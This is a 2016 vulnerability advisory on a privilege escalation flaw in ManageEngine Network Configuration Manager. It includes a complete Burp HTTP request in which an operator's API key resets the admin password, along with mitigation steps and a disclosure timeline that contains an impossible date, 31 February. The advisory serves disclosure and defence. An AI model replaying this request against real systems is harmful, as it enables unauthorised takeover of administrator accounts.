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Privilege escalation Vulnerability in ManageEngine Network Configuration Management
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Overview
========
Title:- Privilege escalation Vulnerability in ManageEngine Network Configuration Management
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine Network Configuration Manager
Tested Version: : Network Configuration Manager Build 11000
Severity: HIGH
Advisory ID
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2016-03-Manage_Engine
About the Product:
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Network Configuration Manager is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management.
Description:
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This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application.
Vulnerability Class:
====================
Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authentication/Authorization
How to Reproduce: (POC):
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* you should have Operator Account on Network Configuration Management
* login with that account to get api key something like user_1453993872278
* Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :)
POC
====
Burp Requst
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POST /nfaapi/json/admin/changePassword HTTP/1.1
Host: 192.168.1.10:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.10:8080/netflow/ncmapiclient/ember/index.jsp
Content-Length: 50
Cookie: OPUTILSJSESSIONID=E062B23129AA1269EF13794C7710DF8E; JSESSIONID=FBA6ADEE16123786896DF765CA4C9E87; NFA_Jsession=0BF63F9CE8F4DCF664857F92403D8B44; iamcsrfcookie=fbcc4bcb-34ea-4cc8-8cb3-e95dbfc0603d; NFA__SSO=0ED579E64493B973F5BCA1C94EAD6310
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
userName=admin&newPwd=11&apiKey=king_1453993872278
Response
--------
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Max-Age: 5000
Content-Type: application/json;charset=UTF-8
Date: Sat, 30 Jan 2016 20:22:15 GMT
Content-Length: 23
{"message":"success"}
Mitigation
==========
* Please Stop Network configuration manager service.
* Open Ncm\lib and cut AdvNCM.jar and paste it in to Desktop.
* Download the AdvNCM.jar file from below link and paste it under Ncm\lib
* https://uploads.zohocorp.com/Internal_Useruploads/dnd/DeviceExpert/o_1ab396o1i1a6v8j1cr86uet581/AdvNCM.jar
* Open Ncm\logs and delete all the files inside it,
* Start the Ncm service and check the issue.
Disclosure:
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* 31-JAN-2016 Repoerted to vendor
* 31-Feb-2016 Ack by Vendor
* 09-Feb-2016 Fixed By Vendor
credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@me.com
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad
